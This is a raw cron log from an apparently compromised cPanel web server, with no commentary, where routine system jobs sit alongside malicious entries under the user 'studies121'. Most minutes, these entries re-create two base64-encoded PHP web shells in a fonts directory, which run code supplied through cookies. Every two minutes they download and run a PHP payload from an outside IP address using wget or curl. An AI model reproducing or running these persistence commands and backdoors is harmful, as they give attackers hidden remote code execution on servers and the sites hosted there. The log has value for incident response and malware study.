Sep 22 01:14:01 ip-184-168-122-23 CROND[18312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:14:01 ip-184-168-122-23 CROND[18313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:14:01 ip-184-168-122-23 CROND[18311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:15:01 ip-184-168-122-23 CROND[18420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:15:01 ip-184-168-122-23 CROND[18421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:15:01 ip-184-168-122-23 CROND[18423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:15:01 ip-184-168-122-23 CROND[18425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:15:01 ip-184-168-122-23 CROND[18427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:15:01 ip-184-168-122-23 CROND[18424]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:16:01 ip-184-168-122-23 CROND[18561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:16:01 ip-184-168-122-23 CROND[18562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:16:01 ip-184-168-122-23 CROND[18564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:16:01 ip-184-168-122-23 CROND[18565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:16:01 ip-184-168-122-23 CROND[18568]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 01:16:01 ip-184-168-122-23 CROND[18567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:17:01 ip-184-168-122-23 CROND[18674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:17:01 ip-184-168-122-23 CROND[18675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:17:01 ip-184-168-122-23 CROND[18677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:17:01 ip-184-168-122-23 CROND[18678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:18:01 ip-184-168-122-23 CROND[18773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:18:01 ip-184-168-122-23 CROND[18776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:18:01 ip-184-168-122-23 CROND[18777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:18:01 ip-184-168-122-23 CROND[18775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:18:01 ip-184-168-122-23 CROND[18778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:19:01 ip-184-168-122-23 CROND[18986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:19:01 ip-184-168-122-23 CROND[18985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:19:01 ip-184-168-122-23 CROND[18984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:19:01 ip-184-168-122-23 CROND[18987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:20:02 ip-184-168-122-23 CROND[19098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:20:02 ip-184-168-122-23 CROND[19100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:20:02 ip-184-168-122-23 CROND[19101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:20:02 ip-184-168-122-23 CROND[19102]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:20:02 ip-184-168-122-23 CROND[19108]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 01:20:02 ip-184-168-122-23 CROND[19106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:20:02 ip-184-168-122-23 CROND[19107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:20:02 ip-184-168-122-23 CROND[19109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:20:02 ip-184-168-122-23 CROND[19105]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 01:21:01 ip-184-168-122-23 CROND[19231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:21:01 ip-184-168-122-23 CROND[19232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:21:01 ip-184-168-122-23 CROND[19235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:21:01 ip-184-168-122-23 CROND[19236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:22:01 ip-184-168-122-23 CROND[19338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:22:01 ip-184-168-122-23 CROND[19339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:22:01 ip-184-168-122-23 CROND[19342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:22:01 ip-184-168-122-23 CROND[19343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:22:01 ip-184-168-122-23 CROND[19341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:23:01 ip-184-168-122-23 CROND[19444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:23:01 ip-184-168-122-23 CROND[19447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:23:01 ip-184-168-122-23 CROND[19448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:23:02 ip-184-168-122-23 CROND[19450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:24:01 ip-184-168-122-23 CROND[19556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:24:01 ip-184-168-122-23 CROND[19558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:24:01 ip-184-168-122-23 CROND[19560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:24:01 ip-184-168-122-23 CROND[19561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:24:01 ip-184-168-122-23 CROND[19562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:25:01 ip-184-168-122-23 CROND[19659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:25:01 ip-184-168-122-23 CROND[19663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:25:01 ip-184-168-122-23 CROND[19661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:25:01 ip-184-168-122-23 CROND[19664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:25:01 ip-184-168-122-23 CROND[19662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:25:01 ip-184-168-122-23 CROND[19665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:26:01 ip-184-168-122-23 CROND[19793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:26:01 ip-184-168-122-23 CROND[19794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
